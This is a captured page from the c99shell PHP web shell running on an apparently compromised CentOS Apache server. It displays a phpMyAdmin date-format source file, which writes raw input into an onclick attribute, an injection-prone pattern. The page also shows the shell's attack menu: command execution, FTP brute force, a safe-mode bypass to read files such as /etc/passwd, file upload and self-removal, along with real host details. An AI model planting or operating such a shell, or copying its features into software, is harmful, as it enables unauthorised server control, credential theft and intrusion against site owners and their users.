!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/transformations/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     text_plain__dateformat.inc.php (2.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: text_plain__dateformat.inc.php,v 2.3 2003/12/05 11:02:14 garvinhicking Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

function PMA_transformation_text_plain__dateformat($buffer$options = array(), $meta '') {
    
// possibly use a global transform and feed it with special options:
    // include('./libraries/transformations/global.inc.php');

    // further operations on $buffer using the $options[] array.
    
if (!isset($options[0]) || $options[0] == '') {
        
$options[0] = 0;
    }

    if (!isset(
$options[1]) || $options[1] == '') {
        
$options[1] = $GLOBALS['datefmt'];

    }

    
$timestamp = -1;

    
// Detect TIMESTAMP(6 | 8 | 10 | 12 | 14), (2 | 4) not supported here.
    
if (preg_match('/^(\d{2}){3,7}$/'$buffer)) {

        if (
strlen($buffer) == 14 || strlen($buffer) == 8) {
            
$offset 4;
        } else {
            
$offset 2;
        }

        
$d = array();
        
$d['year']   = substr($buffer0$offset);
        
$d['month']  = substr($buffer$offset2);
        
$d['day']    = substr($buffer$offset 22);
        
$d['hour']   = substr($buffer$offset 42);
        
$d['minute'] = substr($buffer$offset 62);
        
$d['second'] = substr($buffer$offset 82);

        if (
checkdate($d['month'], $d['day'], $d['year'])) {
            
$timestamp mktime($d['hour'], $d['minute'], $d['second'], $d['month'], $d['day'], $d['year']);
        }
    
// If all fails, assume one of the dozens of valid strtime() syntaxes (http://www.gnu.org/manual/tar-1.12/html_chapter/tar_7.html)
    
} else {
        
$timestamp strtotime($buffer);
    }

    
// If all above failed, maybe it's a Unix timestamp already?
    
if ($timestamp && preg_match('/^[1-9]\d{1,9}$/'$buffer)) {
        
$timestamp $buffer;
    }

    
// Reformat a valid timestamp
    
if ($timestamp >= 0) {
        
$timestamp -= $options[0] * 60 60;
        
$source $buffer;
        
$buffer '<dfn onclick="alert(\'' $source '\');" title="' $source '">' PMA_localisedDate($timestamp$options[1]) . '</dfn>';
    }

    return 
$buffer;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--